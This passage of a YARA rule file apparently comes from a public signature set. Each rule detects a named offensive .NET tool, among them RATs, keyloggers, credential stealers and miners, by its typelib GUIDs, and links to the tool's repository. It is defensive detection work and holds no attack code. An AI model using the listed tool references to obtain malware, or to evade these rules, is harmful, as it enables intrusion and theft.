		$typelibguid15up = "D43F240D-E7F5-43C5-9B51-D156DC7EA221" ascii wide
		$typelibguid16lo = "c2e6c1a0-93b1-4bbc-98e6-8e2b3145db8e" ascii wide
		$typelibguid16up = "C2E6C1A0-93B1-4BBC-98E6-8E2B3145DB8E" ascii wide
		$typelibguid17lo = "714ae6f3-0d03-4023-b753-fed6a31d95c7" ascii wide
		$typelibguid17up = "714AE6F3-0D03-4023-B753-FED6A31D95C7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BrowserPass
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/jabiel/BrowserPass"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-28"
		modified = "2023-04-06"
		id = "bad36c36-dbed-527c-a2f5-4dceff1abe4b"

	strings:
		$typelibguid0lo = "3cb59871-0dce-453b-857a-2d1e515b0b66" ascii wide
		$typelibguid0up = "3CB59871-0DCE-453B-857A-2D1E515B0B66" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Mythic
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/its-a-feature/Mythic"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "44237fac-1526-5587-83a1-61d7a54f7da9"

	strings:
		$typelibguid0lo = "91f7a9da-f045-4239-a1e9-487ffdd65986" ascii wide
		$typelibguid0up = "91F7A9DA-F045-4239-A1E9-487FFDD65986" ascii wide
		$typelibguid1lo = "0405205c-c2a0-4f9a-a221-48b5c70df3b6" ascii wide
		$typelibguid1up = "0405205C-C2A0-4F9A-A221-48B5C70DF3B6" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Nuages
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/p3nt4/Nuages"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "5ad947e2-bd71-50d4-9bbf-4d018c7ff36a"

	strings:
		$typelibguid0lo = "e9e80ac7-4c13-45bd-9bde-ca89aadf1294" ascii wide
		$typelibguid0up = "E9E80AC7-4C13-45BD-9BDE-CA89AADF1294" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpSniper
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/HunnicCyber/SharpSniper"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "14e6a3b8-5e1f-5dd8-9b51-22522ac317e7"

	strings:
		$typelibguid0lo = "c8bb840c-04ce-4b60-a734-faf15abf7b18" ascii wide
		$typelibguid0up = "C8BB840C-04CE-4B60-A734-FAF15ABF7B18" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpHound3
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/BloodHoundAD/SharpHound3"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "58001912-88a1-527d-9d3e-d7c376a1fce4"

	strings:
		$typelibguid0lo = "a517a8de-5834-411d-abda-2d0e1766539c" ascii wide
		$typelibguid0up = "A517A8DE-5834-411D-ABDA-2D0E1766539C" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BlockEtw
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/Soledge/BlockEtw"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "c2b72fef-6549-5b53-8ccf-232e8d152e96"

	strings:
		$typelibguid0lo = "daedf7b3-8262-4892-adc4-425dd5f85bca" ascii wide
		$typelibguid0up = "DAEDF7B3-8262-4892-ADC4-425DD5F85BCA" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpWifiGrabber
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/r3nhat/SharpWifiGrabber"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "1a457672-743c-56f0-a4d7-6c25f9ce2345"

	strings:
		$typelibguid0lo = "c0997698-2b73-4982-b25b-d0578d1323c2" ascii wide
		$typelibguid0up = "C0997698-2B73-4982-B25B-D0578D1323C2" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpMapExec
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/cube0x0/SharpMapExec"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "b4922734-a486-5c4d-9bd7-5146cfecbf01"

	strings:
		$typelibguid0lo = "bd5220f7-e1fb-41d2-91ec-e4c50c6e9b9f" ascii wide
		$typelibguid0up = "BD5220F7-E1FB-41D2-91EC-E4C50C6E9B9F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_k8fly
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/zzwlpx/k8fly"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "3421e6fb-df65-5e2e-ae46-37f9c763c6a1"

	strings:
		$typelibguid0lo = "13b6c843-f3d4-4585-b4f3-e2672a47931e" ascii wide
		$typelibguid0up = "13B6C843-F3D4-4585-B4F3-E2672A47931E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Stealer
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/malwares/Stealer"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "c721a0ac-e898-52aa-9bdf-a19bc0bd783d"

	strings:
		$typelibguid0lo = "8fcd4931-91a2-4e18-849b-70de34ab75df" ascii wide
		$typelibguid0up = "8FCD4931-91A2-4E18-849B-70DE34AB75DF" ascii wide
		$typelibguid1lo = "e48811ca-8af8-4e73-85dd-2045b9cca73a" ascii wide
		$typelibguid1up = "E48811CA-8AF8-4E73-85DD-2045B9CCA73A" ascii wide
		$typelibguid2lo = "d3d8a1cc-e123-4905-b3de-374749122fcf" ascii wide
		$typelibguid2up = "D3D8A1CC-E123-4905-B3DE-374749122FCF" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PortTran
{
	meta:
		description = "Detects c# red/black-team tools via typelibguid"
		reference = "https://github.com/k8gege/PortTran"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-29"
		modified = "2023-04-06"
		id = "844e58a2-54f5-51e8-8176-6a478a136603"

	strings:
		$typelibguid0lo = "3a074374-77e8-4312-8746-37f3cb00e82c" ascii wide
		$typelibguid0up = "3A074374-77E8-4312-8746-37F3CB00E82C" ascii wide
		$typelibguid1lo = "67a73bac-f59d-4227-9220-e20a2ef42782" ascii wide
		$typelibguid1up = "67A73BAC-F59D-4227-9220-E20A2EF42782" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_gray_keylogger_2
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		reference = "https://github.com/graysuit/gray-keylogger-2"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-30"
		modified = "2023-04-06"
		id = "40ab8103-9151-5a5c-8b70-ab3bfd3896f9"

	strings:
		$typelibguid0lo = "e94ca3ff-c0e5-4d1a-ad5e-f6ebbe365067" ascii wide
		$typelibguid0up = "E94CA3FF-C0E5-4D1A-AD5E-F6EBBE365067" ascii wide
		$typelibguid1lo = "1ed07564-b411-4626-88e5-e1cd8ecd860a" ascii wide
		$typelibguid1up = "1ED07564-B411-4626-88E5-E1CD8ECD860A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Lime_Miner
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Lime-Miner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-30"
		modified = "2023-04-06"
		id = "d0631817-10a2-55bf-a41d-226fa0dcb9f9"

	strings:
		$typelibguid0lo = "13958fb9-dfc1-4e2c-8a8d-a5e68abdbc66" ascii wide
		$typelibguid0up = "13958FB9-DFC1-4E2C-8A8D-A5E68ABDBC66" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_BlackNET
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		reference = "https://github.com/BlackHacker511/BlackNET"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-30"
		modified = "2023-04-06"
		id = "9fbb3c11-7b11-5910-9c8b-247aeefbaa87"

	strings:
		$typelibguid0lo = "c2b90883-abee-4cfa-af66-dfd93ec617a5" ascii wide
		$typelibguid0up = "C2B90883-ABEE-4CFA-AF66-DFD93EC617A5" ascii wide
		$typelibguid1lo = "8bb6f5b4-e7c7-4554-afd1-48f368774837" ascii wide
		$typelibguid1up = "8BB6F5B4-E7C7-4554-AFD1-48F368774837" ascii wide
		$typelibguid2lo = "983ae28c-91c3-4072-8cdf-698b2ff7a967" ascii wide
		$typelibguid2up = "983AE28C-91C3-4072-8CDF-698B2FF7A967" ascii wide
		$typelibguid3lo = "9ac18cdc-3711-4719-9cfb-5b5f2d51fd5a" ascii wide
		$typelibguid3up = "9AC18CDC-3711-4719-9CFB-5B5F2D51FD5A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_PlasmaRAT
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		reference = "https://github.com/mwsrc/PlasmaRAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-30"
		modified = "2023-04-06"
		id = "13362cba-f9b2-50c8-95cc-504e585bdd42"

	strings:
		$typelibguid0lo = "b8a2147c-074c-46e1-bb99-c8431a6546ce" ascii wide
		$typelibguid0up = "B8A2147C-074C-46E1-BB99-C8431A6546CE" ascii wide
		$typelibguid1lo = "0fcfde33-213f-4fb6-ac15-efb20393d4f3" ascii wide
		$typelibguid1up = "0FCFDE33-213F-4FB6-AC15-EFB20393D4F3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Lime_RAT
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		reference = "https://github.com/NYAN-x-CAT/Lime-RAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-30"
		modified = "2023-04-06"
		id = "31a0e9ca-9da1-557a-bcc5-1351fa90a0e1"

	strings:
		$typelibguid0lo = "e58ac447-ab07-402a-9c96-95e284a76a8d" ascii wide
		$typelibguid0up = "E58AC447-AB07-402A-9C96-95E284A76A8D" ascii wide
		$typelibguid1lo = "8fb35dab-73cd-4163-8868-c4dbcbdf0c17" ascii wide
		$typelibguid1up = "8FB35DAB-73CD-4163-8868-C4DBCBDF0C17" ascii wide
		$typelibguid2lo = "37845f5b-35fe-4dce-bbec-2d07c7904fb0" ascii wide
		$typelibguid2up = "37845F5B-35FE-4DCE-BBEC-2D07C7904FB0" ascii wide
		$typelibguid3lo = "83c453cf-0d29-4690-b9dc-567f20e63894" ascii wide
		$typelibguid3up = "83C453CF-0D29-4690-B9DC-567F20E63894" ascii wide
		$typelibguid4lo = "8b1f0a69-a930-42e3-9c13-7de0d04a4add" ascii wide
		$typelibguid4up = "8B1F0A69-A930-42E3-9C13-7DE0D04A4ADD" ascii wide
		$typelibguid5lo = "eaaeccf6-75d2-4616-b045-36eea09c8b28" ascii wide
		$typelibguid5up = "EAAECCF6-75D2-4616-B045-36EEA09C8B28" ascii wide
		$typelibguid6lo = "5b2ec674-0aa4-4209-94df-b6c995ad59c4" ascii wide
		$typelibguid6up = "5B2EC674-0AA4-4209-94DF-B6C995AD59C4" ascii wide
		$typelibguid7lo = "e2cc7158-aee6-4463-95bf-fb5295e9e37a" ascii wide
		$typelibguid7up = "E2CC7158-AEE6-4463-95BF-FB5295E9E37A" ascii wide
		$typelibguid8lo = "d04ecf62-6da9-4308-804a-e789baa5cc38" ascii wide
		$typelibguid8up = "D04ECF62-6DA9-4308-804A-E789BAA5CC38" ascii wide
		$typelibguid9lo = "8026261f-ac68-4ccf-97b2-3b55b7d6684d" ascii wide
		$typelibguid9up = "8026261F-AC68-4CCF-97B2-3B55B7D6684D" ascii wide
		$typelibguid10lo = "212cdfac-51f1-4045-a5c0-6e638f89fce0" ascii wide
		$typelibguid10up = "212CDFAC-51F1-4045-A5C0-6E638F89FCE0" ascii wide
		$typelibguid11lo = "c1b608bb-7aed-488d-aa3b-0c96625d26c0" ascii wide
		$typelibguid11up = "C1B608BB-7AED-488D-AA3B-0C96625D26C0" ascii wide
		$typelibguid12lo = "4c84e7ec-f197-4321-8862-d5d18783e2fe" ascii wide
		$typelibguid12up = "4C84E7EC-F197-4321-8862-D5D18783E2FE" ascii wide
		$typelibguid13lo = "3fc17adb-67d4-4a8d-8770-ecfd815f73ee" ascii wide
		$typelibguid13up = "3FC17ADB-67D4-4A8D-8770-ECFD815F73EE" ascii wide
		$typelibguid14lo = "f1ab854b-6282-4bdf-8b8b-f2911a008948" ascii wide
		$typelibguid14up = "F1AB854B-6282-4BDF-8B8B-F2911A008948" ascii wide
		$typelibguid15lo = "aef6547e-3822-4f96-9708-bcf008129b2b" ascii wide
		$typelibguid15up = "AEF6547E-3822-4F96-9708-BCF008129B2B" ascii wide
		$typelibguid16lo = "a336f517-bca9-465f-8ff8-2756cfd0cad9" ascii wide
		$typelibguid16up = "A336F517-BCA9-465F-8FF8-2756CFD0CAD9" ascii wide
		$typelibguid17lo = "5de018bd-941d-4a5d-bed5-fbdd111aba76" ascii wide
		$typelibguid17up = "5DE018BD-941D-4A5D-BED5-FBDD111ABA76" ascii wide
		$typelibguid18lo = "bbfac1f9-cd4f-4c44-af94-1130168494d0" ascii wide
		$typelibguid18up = "BBFAC1F9-CD4F-4C44-AF94-1130168494D0" ascii wide
		$typelibguid19lo = "1c79cea1-ebf3-494c-90a8-51691df41b86" ascii wide
		$typelibguid19up = "1C79CEA1-EBF3-494C-90A8-51691DF41B86" ascii wide
		$typelibguid20lo = "927104e1-aa17-4167-817c-7673fe26d46e" ascii wide
		$typelibguid20up = "927104E1-AA17-4167-817C-7673FE26D46E" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_njRAT
{
	meta:
		description = "Detects VB.NET red/black-team tools via typelibguid"
		reference = "https://github.com/mwsrc/njRAT"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2020-12-30"
		modified = "2023-04-06"
		id = "2140d69e-fb15-50a2-ba85-b7c8293003fb"

	strings:
		$typelibguid0lo = "5a542c1b-2d36-4c31-b039-26a88d3967da" ascii wide
		$typelibguid0up = "5A542C1B-2D36-4C31-B039-26A88D3967DA" ascii wide
		$typelibguid1lo = "6b07082a-9256-42c3-999a-665e9de49f33" ascii wide
		$typelibguid1up = "6B07082A-9256-42C3-999A-665E9DE49F33" ascii wide
		$typelibguid2lo = "c0a9a70f-63e8-42ca-965d-73a1bc903e62" ascii wide
		$typelibguid2up = "C0A9A70F-63E8-42CA-965D-73A1BC903E62" ascii wide
		$typelibguid3lo = "70bd11de-7da1-4a89-b459-8daacc930c20" ascii wide
		$typelibguid3up = "70BD11DE-7DA1-4A89-B459-8DAACC930C20" ascii wide
		$typelibguid4lo = "fc790ee5-163a-40f9-a1e2-9863c290ff8b" ascii wide
		$typelibguid4up = "FC790EE5-163A-40F9-A1E2-9863C290FF8B" ascii wide
		$typelibguid5lo = "cb3c28b2-2a4f-4114-941c-ce929fec94d3" ascii wide
		$typelibguid5up = "CB3C28B2-2A4F-4114-941C-CE929FEC94D3" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_Manager
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/TheWover/Manager"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "eef65d2c-ddbc-50c3-a6a0-e7032a55e92d"

	strings:
		$typelibguid0lo = "dda73ee9-0f41-4c09-9cad-8215abd60b33" ascii wide
		$typelibguid0up = "DDA73EE9-0F41-4C09-9CAD-8215ABD60B33" ascii wide
		$typelibguid1lo = "6a0f2422-d4d1-4b7e-84ad-56dc0fd2dfc5" ascii wide
		$typelibguid1up = "6A0F2422-D4D1-4B7E-84AD-56DC0FD2DFC5" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_neo_ConfuserEx
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/XenocodeRCE/neo-ConfuserEx"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "d73117a6-4512-5545-a4f4-72d8cf708340"

	strings:
		$typelibguid0lo = "e98490bb-63e5-492d-b14e-304de928f81a" ascii wide
		$typelibguid0up = "E98490BB-63E5-492D-B14E-304DE928F81A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpAllowedToAct
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/pkb1s/SharpAllowedToAct"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "13b7f5e0-4d34-533d-a182-b3fe7c93ca43"

	strings:
		$typelibguid0lo = "dac5448a-4ad1-490a-846a-18e4e3e0cf9a" ascii wide
		$typelibguid0up = "DAC5448A-4AD1-490A-846A-18E4E3E0CF9A" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SuperSQLInjectionV1
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/shack2/SuperSQLInjectionV1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "247bef0d-7873-51c7-97b8-1be6dfe7708d"

	strings:
		$typelibguid0lo = "d5688068-fc89-467d-913f-037a785caca7" ascii wide
		$typelibguid0up = "D5688068-FC89-467D-913F-037A785CACA7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_ADSearch
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/tomcarver16/ADSearch"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "399ea06d-b36a-542b-bccc-8e8f935a35c6"

	strings:
		$typelibguid0lo = "4da5f1b7-8936-4413-91f7-57d6e072b4a7" ascii wide
		$typelibguid0up = "4DA5F1B7-8936-4413-91F7-57D6E072B4A7" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_privilege_escalation_awesome_scripts_suite
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "fa218dfa-4b56-5a62-b149-63394bd0b604"

	strings:
		$typelibguid0lo = "1928358e-a64b-493f-a741-ae8e3d029374" ascii wide
		$typelibguid0up = "1928358E-A64B-493F-A741-AE8E3D029374" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_CVE_2020_1206_POC
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/ZecOps/CVE-2020-1206-POC"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "d70472f3-b19f-5097-bd70-99a7e7812ac4"

	strings:
		$typelibguid0lo = "3523ca04-a12d-4b40-8837-1a1d28ef96de" ascii wide
		$typelibguid0up = "3523CA04-A12D-4B40-8837-1A1D28EF96DE" ascii wide
		$typelibguid1lo = "d3a2f24a-ddc6-4548-9b3d-470e70dbcaab" ascii wide
		$typelibguid1up = "D3A2F24A-DDC6-4548-9B3D-470E70DBCAAB" ascii wide
		$typelibguid2lo = "fb30ee05-4a35-45f7-9a0a-829aec7e47d9" ascii wide
		$typelibguid2up = "FB30EE05-4A35-45F7-9A0A-829AEC7E47D9" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_DInvoke
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/TheWover/DInvoke"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "f3b0ef47-a92c-5c5d-a9e2-09579fcb438e"

	strings:
		$typelibguid0lo = "b77fdab5-207c-4cdb-b1aa-348505c54229" ascii wide
		$typelibguid0up = "B77FDAB5-207C-4CDB-B1AA-348505C54229" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpChisel
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/shantanu561993/SharpChisel"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "3b7e6703-ebe8-5a98-839f-7d0349ab483f"

	strings:
		$typelibguid0lo = "f5f21e2d-eb7e-4146-a7e1-371fd08d6762" ascii wide
		$typelibguid0up = "F5F21E2D-EB7E-4146-A7E1-371FD08D6762" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpScribbles
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/V1V1/SharpScribbles"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "47125b76-9388-5372-8810-d198f623367a"

	strings:
		$typelibguid0lo = "aa61a166-31ef-429d-a971-ca654cd18c3b" ascii wide
		$typelibguid0up = "AA61A166-31EF-429D-A971-CA654CD18C3B" ascii wide
		$typelibguid1lo = "0dc1b824-c6e7-4881-8788-35aecb34d227" ascii wide
		$typelibguid1up = "0DC1B824-C6E7-4881-8788-35AECB34D227" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpReg
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/jnqpblc/SharpReg"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "d89b07b0-bb29-5c77-888b-322e439b4c82"

	strings:
		$typelibguid0lo = "8ef25b00-ed6a-4464-bdec-17281a4aa52f" ascii wide
		$typelibguid0up = "8EF25B00-ED6A-4464-BDEC-17281A4AA52F" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_MemeVM
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/TobitoFatitoRE/MemeVM"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "c98d84d5-4b0a-53df-b8d4-0b360930eb0c"

	strings:
		$typelibguid0lo = "ef18f7f2-1f03-481c-98f9-4a18a2f12c11" ascii wide
		$typelibguid0up = "EF18F7F2-1F03-481C-98F9-4A18A2F12C11" ascii wide
		$typelibguid1lo = "77b2c83b-ca34-4738-9384-c52f0121647c" ascii wide
		$typelibguid1up = "77B2C83B-CA34-4738-9384-C52F0121647C" ascii wide
		$typelibguid2lo = "14d5d12e-9a32-4516-904e-df3393626317" ascii wide
		$typelibguid2up = "14D5D12E-9A32-4516-904E-DF3393626317" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_SharpDir
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/jnqpblc/SharpDir"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
		id = "f64ed564-d198-59e8-9abe-b2814b95c85f"

	strings:
		$typelibguid0lo = "c7a07532-12a3-4f6a-a342-161bb060b789" ascii wide
		$typelibguid0up = "C7A07532-12A3-4F6A-A342-161BB060B789" ascii wide

	condition:
		( uint16( 0 ) == 0x5A4D and uint32( uint32( 0x3C ) ) == 0x00004550 ) and any of them
}

rule HKTL_NET_GUID_AtYourService
{
	meta:
		description = "Detects .NET red/black-team tools via typelibguid"
		reference = "https://github.com/mitchmoser/AtYourService"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Arnim Rupp (https://github.com/ruppde)"
		date = "2021-01-21"
		modified = "2023-04-06"
